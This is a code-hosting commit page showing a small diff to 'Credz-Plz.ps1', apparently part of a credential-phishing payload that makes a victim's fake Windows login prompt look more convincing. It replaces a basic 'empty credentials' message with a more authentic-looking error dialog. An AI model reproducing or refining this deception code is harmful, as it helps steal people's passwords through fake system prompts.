🤬
  • Updated Credz-Plz.ps1

    Added a more authentic looking "Credentials cannot be empty!" error message.
     - Tested and functioning properly on Windows 10.
  • Loading...
  • Kavitate committed with GitHub 1 year ago
    4a234bcb
    1 parent 82792982
  • ■ ■ ■ ■ ■
    Payloads/Flip-Credz-Plz/Credz-Plz.ps1
    skipped 61 lines
    62 62   
    63 63   if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
    64 64   {
    65  - [System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!")
     65 + Add-Type -AssemblyName PresentationCore,PresentationFramework
     66 + $msgBody = "Credentials cannot be empty!"
     67 + $msgTitle = "Error"
     68 + $msgButton = 'Ok'
     69 + $msgImage = 'Stop'
     70 + $Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
     71 + Write-Host "The user clicked: $Result"
    66 72   $form = $null
    67 73   }
    68 74  
    skipped 163 lines
Please wait...
Page is in error, reload to recover